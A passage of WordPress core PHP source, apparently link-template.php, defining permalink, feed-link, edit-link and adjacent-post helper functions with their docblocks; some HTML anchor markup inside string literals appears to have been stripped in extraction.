user_trailingslashit( $monthlink, 'month' ) ); } else { $monthlink = home_url( '?m=' . $year . zeroise( $month, 2 ) ); } /** * Filters the month archive permalink. * * @since 1.5.0 * * @param string $monthlink Permalink for the month archive. * @param int $year Year for the archive. * @param int $month The month for the archive. */ return apply_filters( 'month_link', $monthlink, $year, $month ); } /** * Retrieves the permalink for the day archives with year and month. * * @since 1.0.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param int|false $year Integer of year. False for current year. * @param int|false $month Integer of month. False for current month. * @param int|false $day Integer of day. False for current day. * @return string The permalink for the specified day, month, and year archive. */ function get_day_link( $year, $month, $day ) { global $wp_rewrite; if ( ! $year ) { $year = current_time( 'Y' ); } if ( ! $month ) { $month = current_time( 'm' ); } if ( ! $day ) { $day = current_time( 'j' ); } $daylink = $wp_rewrite->get_day_permastruct(); if ( ! empty( $daylink ) ) { $daylink = str_replace( '%year%', $year, $daylink ); $daylink = str_replace( '%monthnum%', zeroise( (int) $month, 2 ), $daylink ); $daylink = str_replace( '%day%', zeroise( (int) $day, 2 ), $daylink ); $daylink = home_url( user_trailingslashit( $daylink, 'day' ) ); } else { $daylink = home_url( '?m=' . $year . zeroise( $month, 2 ) . zeroise( $day, 2 ) ); } /** * Filters the day archive permalink. * * @since 1.5.0 * * @param string $daylink Permalink for the day archive. * @param int $year Year for the archive. * @param int $month Month for the archive. * @param int $day The day for the archive. */ return apply_filters( 'day_link', $daylink, $year, $month, $day ); } /** * Displays the permalink for the feed type. * * @since 3.0.0 * * @param string $anchor The link's anchor text. * @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'. * Default is the value of get_default_feed(). */ function the_feed_link( $anchor, $feed = '' ) { $link = '' . $anchor . ''; /** * Filters the feed link anchor tag. * * @since 3.0.0 * * @param string $link The complete anchor tag for a feed link. * @param string $feed The feed type. Possible values include 'rss2', 'atom', * or an empty string for the default feed type. */ echo apply_filters( 'the_feed_link', $link, $feed ); } /** * Retrieves the permalink for the feed type. * * @since 1.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'. * Default is the value of get_default_feed(). * @return string The feed permalink. */ function get_feed_link( $feed = '' ) { global $wp_rewrite; $permalink = $wp_rewrite->get_feed_permastruct(); if ( $permalink ) { if ( false !== strpos( $feed, 'comments_' ) ) { $feed = str_replace( 'comments_', '', $feed ); $permalink = $wp_rewrite->get_comment_feed_permastruct(); } if ( get_default_feed() == $feed ) { $feed = ''; } $permalink = str_replace( '%feed%', $feed, $permalink ); $permalink = preg_replace( '#/+#', '/', "/$permalink" ); $output = home_url( user_trailingslashit( $permalink, 'feed' ) ); } else { if ( empty( $feed ) ) { $feed = get_default_feed(); } if ( false !== strpos( $feed, 'comments_' ) ) { $feed = str_replace( 'comments_', 'comments-', $feed ); } $output = home_url( "?feed={$feed}" ); } /** * Filters the feed type permalink. * * @since 1.5.0 * * @param string $output The feed permalink. * @param string $feed The feed type. Possible values include 'rss2', 'atom', * or an empty string for the default feed type. */ return apply_filters( 'feed_link', $output, $feed ); } /** * Retrieves the permalink for the post comments feed. * * @since 2.2.0 * * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'. * Default is the value of get_default_feed(). * @return string The permalink for the comments feed for the given post on success, empty string on failure. */ function get_post_comments_feed_link( $post_id = 0, $feed = '' ) { $post_id = absint( $post_id ); if ( ! $post_id ) { $post_id = get_the_ID(); } if ( empty( $feed ) ) { $feed = get_default_feed(); } $post = get_post( $post_id ); // Bail out if the post does not exist. if ( ! $post instanceof WP_Post ) { return ''; } $unattached = 'attachment' === $post->post_type && 0 === (int) $post->post_parent; if ( get_option( 'permalink_structure' ) ) { if ( 'page' === get_option( 'show_on_front' ) && get_option( 'page_on_front' ) == $post_id ) { $url = _get_page_link( $post_id ); } else { $url = get_permalink( $post_id ); } if ( $unattached ) { $url = home_url( '/feed/' ); if ( get_default_feed() !== $feed ) { $url .= "$feed/"; } $url = add_query_arg( 'attachment_id', $post_id, $url ); } else { $url = trailingslashit( $url ) . 'feed'; if ( get_default_feed() != $feed ) { $url .= "/$feed"; } $url = user_trailingslashit( $url, 'single_feed' ); } } else { if ( $unattached ) { $url = add_query_arg( array( 'feed' => $feed, 'attachment_id' => $post_id, ), home_url( '/' ) ); } elseif ( 'page' === $post->post_type ) { $url = add_query_arg( array( 'feed' => $feed, 'page_id' => $post_id, ), home_url( '/' ) ); } else { $url = add_query_arg( array( 'feed' => $feed, 'p' => $post_id, ), home_url( '/' ) ); } } /** * Filters the post comments feed permalink. * * @since 1.5.1 * * @param string $url Post comments feed permalink. */ return apply_filters( 'post_comments_feed_link', $url ); } /** * Displays the comment feed link for a post. * * Prints out the comment feed link for a post. Link text is placed in the * anchor. If no link text is specified, default text is used. If no post ID is * specified, the current post is used. * * @since 2.5.0 * * @param string $link_text Optional. Descriptive link text. Default 'Comments Feed'. * @param int $post_id Optional. Post ID. Default is the ID of the global `$post`. * @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'. * Default is the value of get_default_feed(). */ function post_comments_feed_link( $link_text = '', $post_id = '', $feed = '' ) { $url = get_post_comments_feed_link( $post_id, $feed ); if ( empty( $link_text ) ) { $link_text = __( 'Comments Feed' ); } $link = '' . $link_text . ''; /** * Filters the post comment feed link anchor tag. * * @since 2.8.0 * * @param string $link The complete anchor tag for the comment feed link. * @param int $post_id Post ID. * @param string $feed The feed type. Possible values include 'rss2', 'atom', * or an empty string for the default feed type. */ echo apply_filters( 'post_comments_feed_link_html', $link, $post_id, $feed ); } /** * Retrieves the feed link for a given author. * * Returns a link to the feed for all posts by a given author. A specific feed * can be requested or left blank to get the default feed. * * @since 2.5.0 * * @param int $author_id Author ID. * @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'. * Default is the value of get_default_feed(). * @return string Link to the feed for the author specified by $author_id. */ function get_author_feed_link( $author_id, $feed = '' ) { $author_id = (int) $author_id; $permalink_structure = get_option( 'permalink_structure' ); if ( empty( $feed ) ) { $feed = get_default_feed(); } if ( ! $permalink_structure ) { $link = home_url( "?feed=$feed&author=" . $author_id ); } else { $link = get_author_posts_url( $author_id ); if ( get_default_feed() == $feed ) { $feed_link = 'feed'; } else { $feed_link = "feed/$feed"; } $link = trailingslashit( $link ) . user_trailingslashit( $feed_link, 'feed' ); } /** * Filters the feed link for a given author. * * @since 1.5.1 * * @param string $link The author feed link. * @param string $feed Feed type. Possible values include 'rss2', 'atom'. */ $link = apply_filters( 'author_feed_link', $link, $feed ); return $link; } /** * Retrieves the feed link for a category. * * Returns a link to the feed for all posts in a given category. A specific feed * can be requested or left blank to get the default feed. * * @since 2.5.0 * * @param int|WP_Term|object $cat The ID or category object whose feed link will be retrieved. * @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'. * Default is the value of get_default_feed(). * @return string Link to the feed for the category specified by `$cat`. */ function get_category_feed_link( $cat, $feed = '' ) { return get_term_feed_link( $cat, 'category', $feed ); } /** * Retrieves the feed link for a term. * * Returns a link to the feed for all posts in a given term. A specific feed * can be requested or left blank to get the default feed. * * @since 3.0.0 * * @param int|WP_Term|object $term The ID or term object whose feed link will be retrieved. * @param string $taxonomy Optional. Taxonomy of `$term_id`. * @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'. * Default is the value of get_default_feed(). * @return string|false Link to the feed for the term specified by `$term` and `$taxonomy`. */ function get_term_feed_link( $term, $taxonomy = '', $feed = '' ) { if ( ! is_object( $term ) ) { $term = (int) $term; } $term = get_term( $term, $taxonomy ); if ( empty( $term ) || is_wp_error( $term ) ) { return false; } $taxonomy = $term->taxonomy; if ( empty( $feed ) ) { $feed = get_default_feed(); } $permalink_structure = get_option( 'permalink_structure' ); if ( ! $permalink_structure ) { if ( 'category' === $taxonomy ) { $link = home_url( "?feed=$feed&cat=$term->term_id" ); } elseif ( 'post_tag' === $taxonomy ) { $link = home_url( "?feed=$feed&tag=$term->slug" ); } else { $t = get_taxonomy( $taxonomy ); $link = home_url( "?feed=$feed&$t->query_var=$term->slug" ); } } else { $link = get_term_link( $term, $term->taxonomy ); if ( get_default_feed() == $feed ) { $feed_link = 'feed'; } else { $feed_link = "feed/$feed"; } $link = trailingslashit( $link ) . user_trailingslashit( $feed_link, 'feed' ); } if ( 'category' === $taxonomy ) { /** * Filters the category feed link. * * @since 1.5.1 * * @param string $link The category feed link. * @param string $feed Feed type. Possible values include 'rss2', 'atom'. */ $link = apply_filters( 'category_feed_link', $link, $feed ); } elseif ( 'post_tag' === $taxonomy ) { /** * Filters the post tag feed link. * * @since 2.3.0 * * @param string $link The tag feed link. * @param string $feed Feed type. Possible values include 'rss2', 'atom'. */ $link = apply_filters( 'tag_feed_link', $link, $feed ); } else { /** * Filters the feed link for a taxonomy other than 'category' or 'post_tag'. * * @since 3.0.0 * * @param string $link The taxonomy feed link. * @param string $feed Feed type. Possible values include 'rss2', 'atom'. * @param string $taxonomy The taxonomy name. */ $link = apply_filters( 'taxonomy_feed_link', $link, $feed, $taxonomy ); } return $link; } /** * Retrieves the permalink for a tag feed. * * @since 2.3.0 * * @param int|WP_Term|object $tag The ID or term object whose feed link will be retrieved. * @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'. * Default is the value of get_default_feed(). * @return string The feed permalink for the given tag. */ function get_tag_feed_link( $tag, $feed = '' ) { return get_term_feed_link( $tag, 'post_tag', $feed ); } /** * Retrieves the edit link for a tag. * * @since 2.7.0 * * @param int|WP_Term|object $tag The ID or term object whose edit link will be retrieved. * @param string $taxonomy Optional. Taxonomy slug. Default 'post_tag'. * @return string The edit tag link URL for the given tag. */ function get_edit_tag_link( $tag, $taxonomy = 'post_tag' ) { /** * Filters the edit link for a tag (or term in another taxonomy). * * @since 2.7.0 * * @param string $link The term edit link. */ return apply_filters( 'get_edit_tag_link', get_edit_term_link( $tag, $taxonomy ) ); } /** * Displays or retrieves the edit link for a tag with formatting. * * @since 2.7.0 * * @param string $link Optional. Anchor text. If empty, default is 'Edit This'. Default empty. * @param string $before Optional. Display before edit link. Default empty. * @param string $after Optional. Display after edit link. Default empty. * @param WP_Term $tag Optional. Term object. If null, the queried object will be inspected. * Default null. */ function edit_tag_link( $link = '', $before = '', $after = '', $tag = null ) { $link = edit_term_link( $link, '', '', $tag, false ); /** * Filters the anchor tag for the edit link for a tag (or term in another taxonomy). * * @since 2.7.0 * * @param string $link The anchor tag for the edit link. */ echo $before . apply_filters( 'edit_tag_link', $link ) . $after; } /** * Retrieves the URL for editing a given term. * * @since 3.1.0 * @since 4.5.0 The `$taxonomy` parameter was made optional. * * @param int|WP_Term|object $term The ID or term object whose edit link will be retrieved. * @param string $taxonomy Optional. Taxonomy. Defaults to the taxonomy of the term identified * by `$term`. * @param string $object_type Optional. The object type. Used to highlight the proper post type * menu on the linked page. Defaults to the first object_type associated * with the taxonomy. * @return string|null The edit term link URL for the given term, or null on failure. */ function get_edit_term_link( $term, $taxonomy = '', $object_type = '' ) { $term = get_term( $term, $taxonomy ); if ( ! $term || is_wp_error( $term ) ) { return; } $tax = get_taxonomy( $term->taxonomy ); $term_id = $term->term_id; if ( ! $tax || ! current_user_can( 'edit_term', $term_id ) ) { return; } $args = array( 'taxonomy' => $taxonomy, 'tag_ID' => $term_id, ); if ( $object_type ) { $args['post_type'] = $object_type; } elseif ( ! empty( $tax->object_type ) ) { $args['post_type'] = reset( $tax->object_type ); } if ( $tax->show_ui ) { $location = add_query_arg( $args, admin_url( 'term.php' ) ); } else { $location = ''; } /** * Filters the edit link for a term. * * @since 3.1.0 * * @param string $location The edit link. * @param int $term_id Term ID. * @param string $taxonomy Taxonomy name. * @param string $object_type The object type. */ return apply_filters( 'get_edit_term_link', $location, $term_id, $taxonomy, $object_type ); } /** * Displays or retrieves the edit term link with formatting. * * @since 3.1.0 * * @param string $link Optional. Anchor text. If empty, default is 'Edit This'. Default empty. * @param string $before Optional. Display before edit link. Default empty. * @param string $after Optional. Display after edit link. Default empty. * @param int|WP_Term|null $term Optional. Term ID or object. If null, the queried object will be inspected. Default null. * @param bool $echo Optional. Whether or not to echo the return. Default true. * @return string|void HTML content. */ function edit_term_link( $link = '', $before = '', $after = '', $term = null, $echo = true ) { if ( is_null( $term ) ) { $term = get_queried_object(); } else { $term = get_term( $term ); } if ( ! $term ) { return; } $tax = get_taxonomy( $term->taxonomy ); if ( ! current_user_can( 'edit_term', $term->term_id ) ) { return; } if ( empty( $link ) ) { $link = __( 'Edit This' ); } $link = '' . $link . ''; /** * Filters the anchor tag for the edit link of a term. * * @since 3.1.0 * * @param string $link The anchor tag for the edit link. * @param int $term_id Term ID. */ $link = $before . apply_filters( 'edit_term_link', $link, $term->term_id ) . $after; if ( $echo ) { echo $link; } else { return $link; } } /** * Retrieves the permalink for a search. * * @since 3.0.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $query Optional. The query string to use. If empty the current query is used. Default empty. * @return string The search permalink. */ function get_search_link( $query = '' ) { global $wp_rewrite; if ( empty( $query ) ) { $search = get_search_query( false ); } else { $search = stripslashes( $query ); } $permastruct = $wp_rewrite->get_search_permastruct(); if ( empty( $permastruct ) ) { $link = home_url( '?s=' . urlencode( $search ) ); } else { $search = urlencode( $search ); $search = str_replace( '%2F', '/', $search ); // %2F(/) is not valid within a URL, send it un-encoded. $link = str_replace( '%search%', $search, $permastruct ); $link = home_url( user_trailingslashit( $link, 'search' ) ); } /** * Filters the search permalink. * * @since 3.0.0 * * @param string $link Search permalink. * @param string $search The URL-encoded search term. */ return apply_filters( 'search_link', $link, $search ); } /** * Retrieves the permalink for the search results feed. * * @since 2.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $search_query Optional. Search query. Default empty. * @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'. * Default is the value of get_default_feed(). * @return string The search results feed permalink. */ function get_search_feed_link( $search_query = '', $feed = '' ) { global $wp_rewrite; $link = get_search_link( $search_query ); if ( empty( $feed ) ) { $feed = get_default_feed(); } $permastruct = $wp_rewrite->get_search_permastruct(); if ( empty( $permastruct ) ) { $link = add_query_arg( 'feed', $feed, $link ); } else { $link = trailingslashit( $link ); $link .= "feed/$feed/"; } /** * Filters the search feed link. * * @since 2.5.0 * * @param string $link Search feed link. * @param string $feed Feed type. Possible values include 'rss2', 'atom'. * @param string $type The search type. One of 'posts' or 'comments'. */ return apply_filters( 'search_feed_link', $link, $feed, 'posts' ); } /** * Retrieves the permalink for the search results comments feed. * * @since 2.5.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $search_query Optional. Search query. Default empty. * @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'. * Default is the value of get_default_feed(). * @return string The comments feed search results permalink. */ function get_search_comments_feed_link( $search_query = '', $feed = '' ) { global $wp_rewrite; if ( empty( $feed ) ) { $feed = get_default_feed(); } $link = get_search_feed_link( $search_query, $feed ); $permastruct = $wp_rewrite->get_search_permastruct(); if ( empty( $permastruct ) ) { $link = add_query_arg( 'feed', 'comments-' . $feed, $link ); } else { $link = add_query_arg( 'withcomments', 1, $link ); } /** This filter is documented in wp-includes/link-template.php */ return apply_filters( 'search_feed_link', $link, $feed, 'comments' ); } /** * Retrieves the permalink for a post type archive. * * @since 3.1.0 * @since 4.5.0 Support for posts was added. * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * * @param string $post_type Post type. * @return string|false The post type archive permalink. False if the post type * does not exist or does not have an archive. */ function get_post_type_archive_link( $post_type ) { global $wp_rewrite; $post_type_obj = get_post_type_object( $post_type ); if ( ! $post_type_obj ) { return false; } if ( 'post' === $post_type ) { $show_on_front = get_option( 'show_on_front' ); $page_for_posts = get_option( 'page_for_posts' ); if ( 'page' === $show_on_front && $page_for_posts ) { $link = get_permalink( $page_for_posts ); } else { $link = get_home_url(); } /** This filter is documented in wp-includes/link-template.php */ return apply_filters( 'post_type_archive_link', $link, $post_type ); } if ( ! $post_type_obj->has_archive ) { return false; } if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) ) { $struct = ( true === $post_type_obj->has_archive ) ? $post_type_obj->rewrite['slug'] : $post_type_obj->has_archive; if ( $post_type_obj->rewrite['with_front'] ) { $struct = $wp_rewrite->front . $struct; } else { $struct = $wp_rewrite->root . $struct; } $link = home_url( user_trailingslashit( $struct, 'post_type_archive' ) ); } else { $link = home_url( '?post_type=' . $post_type ); } /** * Filters the post type archive permalink. * * @since 3.1.0 * * @param string $link The post type archive permalink. * @param string $post_type Post type name. */ return apply_filters( 'post_type_archive_link', $link, $post_type ); } /** * Retrieves the permalink for a post type archive feed. * * @since 3.1.0 * * @param string $post_type Post type. * @param string $feed Optional. Feed type. Possible values include 'rss2', 'atom'. * Default is the value of get_default_feed(). * @return string|false The post type feed permalink. False if the post type * does not exist or does not have an archive. */ function get_post_type_archive_feed_link( $post_type, $feed = '' ) { $default_feed = get_default_feed(); if ( empty( $feed ) ) { $feed = $default_feed; } $link = get_post_type_archive_link( $post_type ); if ( ! $link ) { return false; } $post_type_obj = get_post_type_object( $post_type ); if ( get_option( 'permalink_structure' ) && is_array( $post_type_obj->rewrite ) && $post_type_obj->rewrite['feeds'] ) { $link = trailingslashit( $link ); $link .= 'feed/'; if ( $feed != $default_feed ) { $link .= "$feed/"; } } else { $link = add_query_arg( 'feed', $feed, $link ); } /** * Filters the post type archive feed link. * * @since 3.1.0 * * @param string $link The post type archive feed link. * @param string $feed Feed type. Possible values include 'rss2', 'atom'. */ return apply_filters( 'post_type_archive_feed_link', $link, $feed ); } /** * Retrieves the URL used for the post preview. * * Allows additional query args to be appended. * * @since 4.4.0 * * @param int|WP_Post $post Optional. Post ID or `WP_Post` object. Defaults to global `$post`. * @param array $query_args Optional. Array of additional query args to be appended to the link. * Default empty array. * @param string $preview_link Optional. Base preview link to be used if it should differ from the * post permalink. Default empty. * @return string|null URL used for the post preview, or null if the post does not exist. */ function get_preview_post_link( $post = null, $query_args = array(), $preview_link = '' ) { $post = get_post( $post ); if ( ! $post ) { return; } $post_type_object = get_post_type_object( $post->post_type ); if ( is_post_type_viewable( $post_type_object ) ) { if ( ! $preview_link ) { $preview_link = set_url_scheme( get_permalink( $post ) ); } $query_args['preview'] = 'true'; $preview_link = add_query_arg( $query_args, $preview_link ); } /** * Filters the URL used for a post preview. * * @since 2.0.5 * @since 4.0.0 Added the `$post` parameter. * * @param string $preview_link URL used for the post preview. * @param WP_Post $post Post object. */ return apply_filters( 'preview_post_link', $preview_link, $post ); } /** * Retrieves the edit post link for post. * * Can be used within the WordPress loop or outside of it. Can be used with * pages, posts, attachments, and revisions. * * @since 2.3.0 * * @param int|WP_Post $id Optional. Post ID or post object. Default is the global `$post`. * @param string $context Optional. How to output the '&' character. Default '&'. * @return string|null The edit post link for the given post. Null if the post type does not exist * or does not allow an editing UI. */ function get_edit_post_link( $id = 0, $context = 'display' ) { $post = get_post( $id ); if ( ! $post ) { return; } if ( 'revision' === $post->post_type ) { $action = ''; } elseif ( 'display' === $context ) { $action = '&action=edit'; } else { $action = '&action=edit'; } $post_type_object = get_post_type_object( $post->post_type ); if ( ! $post_type_object ) { return; } if ( ! current_user_can( 'edit_post', $post->ID ) ) { return; } if ( $post_type_object->_edit_link ) { $link = admin_url( sprintf( $post_type_object->_edit_link . $action, $post->ID ) ); } else { $link = ''; } /** * Filters the post edit link. * * @since 2.3.0 * * @param string $link The edit link. * @param int $post_id Post ID. * @param string $context The link context. If set to 'display' then ampersands * are encoded. */ return apply_filters( 'get_edit_post_link', $link, $post->ID, $context ); } /** * Displays the edit post link for post. * * @since 1.0.0 * @since 4.4.0 The `$class` argument was added. * * @param string $text Optional. Anchor text. If null, default is 'Edit This'. Default null. * @param string $before Optional. Display before edit link. Default empty. * @param string $after Optional. Display after edit link. Default empty. * @param int|WP_Post $id Optional. Post ID or post object. Default is the global `$post`. * @param string $class Optional. Add custom class to link. Default 'post-edit-link'. */ function edit_post_link( $text = null, $before = '', $after = '', $id = 0, $class = 'post-edit-link' ) { $post = get_post( $id ); if ( ! $post ) { return; } $url = get_edit_post_link( $post->ID ); if ( ! $url ) { return; } if ( null === $text ) { $text = __( 'Edit This' ); } $link = '' . $text . ''; /** * Filters the post edit link anchor tag. * * @since 2.3.0 * * @param string $link Anchor tag for the edit link. * @param int $post_id Post ID. * @param string $text Anchor text. */ echo $before . apply_filters( 'edit_post_link', $link, $post->ID, $text ) . $after; } /** * Retrieves the delete posts link for post. * * Can be used within the WordPress loop or outside of it, with any post type. * * @since 2.9.0 * * @param int|WP_Post $id Optional. Post ID or post object. Default is the global `$post`. * @param string $deprecated Not used. * @param bool $force_delete Optional. Whether to bypass Trash and force deletion. Default false. * @return string|void The delete post link URL for the given post. */ function get_delete_post_link( $id = 0, $deprecated = '', $force_delete = false ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '3.0.0' ); } $post = get_post( $id ); if ( ! $post ) { return; } $post_type_object = get_post_type_object( $post->post_type ); if ( ! $post_type_object ) { return; } if ( ! current_user_can( 'delete_post', $post->ID ) ) { return; } $action = ( $force_delete || ! EMPTY_TRASH_DAYS ) ? 'delete' : 'trash'; $delete_link = add_query_arg( 'action', $action, admin_url( sprintf( $post_type_object->_edit_link, $post->ID ) ) ); /** * Filters the post delete link. * * @since 2.9.0 * * @param string $link The delete link. * @param int $post_id Post ID. * @param bool $force_delete Whether to bypass the Trash and force deletion. Default false. */ return apply_filters( 'get_delete_post_link', wp_nonce_url( $delete_link, "$action-post_{$post->ID}" ), $post->ID, $force_delete ); } /** * Retrieves the edit comment link. * * @since 2.3.0 * * @param int|WP_Comment $comment_id Optional. Comment ID or WP_Comment object. * @return string|void The edit comment link URL for the given comment. */ function get_edit_comment_link( $comment_id = 0 ) { $comment = get_comment( $comment_id ); if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) { return; } $location = admin_url( 'comment.php?action=editcomment&c=' ) . $comment->comment_ID; /** * Filters the comment edit link. * * @since 2.3.0 * * @param string $location The edit link. */ return apply_filters( 'get_edit_comment_link', $location ); } /** * Displays the edit comment link with formatting. * * @since 1.0.0 * * @param string $text Optional. Anchor text. If null, default is 'Edit This'. Default null. * @param string $before Optional. Display before edit link. Default empty. * @param string $after Optional. Display after edit link. Default empty. */ function edit_comment_link( $text = null, $before = '', $after = '' ) { $comment = get_comment(); if ( ! current_user_can( 'edit_comment', $comment->comment_ID ) ) { return; } if ( null === $text ) { $text = __( 'Edit This' ); } $link = '' . $text . ''; /** * Filters the comment edit link anchor tag. * * @since 2.3.0 * * @param string $link Anchor tag for the edit link. * @param string $comment_id Comment ID as a numeric string. * @param string $text Anchor text. */ echo $before . apply_filters( 'edit_comment_link', $link, $comment->comment_ID, $text ) . $after; } /** * Displays the edit bookmark link. * * @since 2.7.0 * * @param int|stdClass $link Optional. Bookmark ID. Default is the ID of the current bookmark. * @return string|void The edit bookmark link URL. */ function get_edit_bookmark_link( $link = 0 ) { $link = get_bookmark( $link ); if ( ! current_user_can( 'manage_links' ) ) { return; } $location = admin_url( 'link.php?action=edit&link_id=' ) . $link->link_id; /** * Filters the bookmark edit link. * * @since 2.7.0 * * @param string $location The edit link. * @param int $link_id Bookmark ID. */ return apply_filters( 'get_edit_bookmark_link', $location, $link->link_id ); } /** * Displays the edit bookmark link anchor content. * * @since 2.7.0 * * @param string $link Optional. Anchor text. If empty, default is 'Edit This'. Default empty. * @param string $before Optional. Display before edit link. Default empty. * @param string $after Optional. Display after edit link. Default empty. * @param int $bookmark Optional. Bookmark ID. Default is the current bookmark. */ function edit_bookmark_link( $link = '', $before = '', $after = '', $bookmark = null ) { $bookmark = get_bookmark( $bookmark ); if ( ! current_user_can( 'manage_links' ) ) { return; } if ( empty( $link ) ) { $link = __( 'Edit This' ); } $link = '' . $link . ''; /** * Filters the bookmark edit link anchor tag. * * @since 2.7.0 * * @param string $link Anchor tag for the edit link. * @param int $link_id Bookmark ID. */ echo $before . apply_filters( 'edit_bookmark_link', $link, $bookmark->link_id ) . $after; } /** * Retrieves the edit user link. * * @since 3.5.0 * * @param int $user_id Optional. User ID. Defaults to the current user. * @return string URL to edit user page or empty string. */ function get_edit_user_link( $user_id = null ) { if ( ! $user_id ) { $user_id = get_current_user_id(); } if ( empty( $user_id ) || ! current_user_can( 'edit_user', $user_id ) ) { return ''; } $user = get_userdata( $user_id ); if ( ! $user ) { return ''; } if ( get_current_user_id() == $user->ID ) { $link = get_edit_profile_url( $user->ID ); } else { $link = add_query_arg( 'user_id', $user->ID, self_admin_url( 'user-edit.php' ) ); } /** * Filters the user edit link. * * @since 3.5.0 * * @param string $link The edit link. * @param int $user_id User ID. */ return apply_filters( 'get_edit_user_link', $link, $user->ID ); } // // Navigation links. // /** * Retrieves the previous post that is adjacent to the current post. * * @since 1.5.0 * * @param bool $in_same_term Optional. Whether post should be in a same taxonomy term. Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return WP_Post|null|string Post object if successful. Null if global $post is not set. Empty string if no * corresponding post exists. */ function get_previous_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { return get_adjacent_post( $in_same_term, $excluded_terms, true, $taxonomy ); } /** * Retrieves the next post that is adjacent to the current post. * * @since 1.5.0 * * @param bool $in_same_term Optional. Whether post should be in a same taxonomy term. Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty. * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return WP_Post|null|string Post object if successful. Null if global $post is not set. Empty string if no * corresponding post exists. */ function get_next_post( $in_same_term = false, $excluded_terms = '', $taxonomy = 'category' ) { return get_adjacent_post( $in_same_term, $excluded_terms, false, $taxonomy ); } /** * Retrieves the adjacent post. * * Can either be next or previous post. * * @since 2.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param bool $in_same_term Optional. Whether post should be in a same taxonomy term. Default false. * @param int[]|string $excluded_terms Optional. Array or comma-separated list of excluded term IDs. Default empty string. * @param bool $previous Optional. Whether to retrieve previous post. Default true * @param string $taxonomy Optional. Taxonomy, if $in_same_term is true. Default 'category'. * @return WP_Post|null|string Post object if successful. Null if global $post is not set. Empty string if no * corresponding post exists. */ function get_adjacent_post( $in_same_term = false, $excluded_terms = '', $previous = true, $taxonomy = 'category' ) { global $wpdb; $post = get_post(); if ( ! $post || ! taxonomy_exists( $taxonomy ) ) { return null; } $current_post_date = $post->post_date; $join = ''; $where = ''; $adjacent = $previous ? 'previous' : 'next'; if ( ! empty( $excluded_terms ) && ! is_array( $excluded_terms ) ) { // Back-compat, $excluded_terms used to be $excluded_categories with IDs separated by " and ". if ( false !== strpos( $excluded_terms, ' and ' ) ) { _deprecated_argument( __FUNCTION__, '3.3.0', sprintf( /* translators: %s: The word 'and'. */ __( 'Use commas instead of %s to separate excluded terms.' ), "'and'" ) ); $excluded_terms = explode( ' and ', $excluded_terms ); } else { $excluded_terms = explode( ',', $excluded_terms ); } $excluded_terms = array_map( 'intval', $excluded_terms ); } /** * Filters the IDs of terms excluded from adjacent post queries. * * The dynamic portion of the hook name, `$adjacent`, refers to the type * of adjacency, 'next' or 'previous'. * * Possible hook names include: * * - `get_next_post_excluded_terms` * - `get_previous_post_excluded_terms` * * @since 4.4.0 * * @param array|string $excluded_terms Array of excluded term IDs. Empty string if none were provided. */ $excluded_terms = apply_filters( "get_{$adjacent}_post_excluded_terms", $excluded_terms ); if ( $in_same_term || ! empty( $excluded_terms ) ) { if ( $in_same_term ) { $join .= " INNER JOIN $wpdb->term_relationships AS tr ON p.ID = tr.object_id INNER JOIN $wpdb->term_taxonomy AS tt ON tr.term_taxonomy_id = tt.term_taxonomy_id"; $where .= $wpdb->prepare( 'AND tt.taxonomy = %s', $taxonomy ); if ( ! is_object_in_taxonomy( $post->post_type, $taxonomy ) ) { return ''; } $term_array = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) ); // Remove any exclusions from the term array to include. $term_array = array_diff( $term_array, (array) $excluded_terms ); $term_array = array_map( 'intval', $term_array ); if ( ! $term_array || is_wp_error( $term_array ) ) { return ''; } $where .= ' AND tt.term_id IN (' . implode( ',', $term_array ) . ')'; } if ( ! empty( $excluded_terms ) ) { $where .= " AND p.ID NOT IN ( SELECT tr.object_id FROM $wpdb->term_relationships tr LEFT JOIN $wpdb->term_taxonomy tt ON (tr.term_taxonomy_id = tt.term_taxonomy_id) WHERE tt.term_id IN (" . implode( ',', array_map( 'intval', $excluded_terms ) ) . ') )'; } } // 'post_status' clause depends on the current user. if ( is_user_logged_in() ) { $user_id = get_current_user_id(); $post_type_object = get_post_type_object( $post->post_type ); if ( empty( $post_type_object ) ) { $post_type_cap = $post->post_type; $read_private_cap = 'read_private_' . $post_type_cap . 's'; } else { $read_private_cap = $post_type_object->cap->read_private_posts; } /* * Results should include private posts belonging to the current user, or private posts where the * current user has the 'read_private_posts' cap. */ $private_states = get_post_stati( array( 'private' => true ) ); $where .= " AND ( p.post_status = 'publish'"; foreach ( $private_states as $state ) { if ( current_user_can( $read_private_cap ) ) { $where .= $wpdb->prepare( ' OR p.post_status = %s', $state ); } else { $where .= $wpdb->prepare( ' OR (p.post_author = %d AND p.post_status = %s)', $user_id, $state ); } } $where .= ' )'; } else { $where .= " AND p.post_status = 'publish'"; } $op = $previous ? '<' : '>'; $order = $previous ? 'DESC' : 'ASC'; /** * Filters the JOIN clause in the SQL for an adjacent post query. * * The dynamic portion of the hook name, `$adjacent`, refers to the type * of adjacency, 'next' or 'previous'. * * 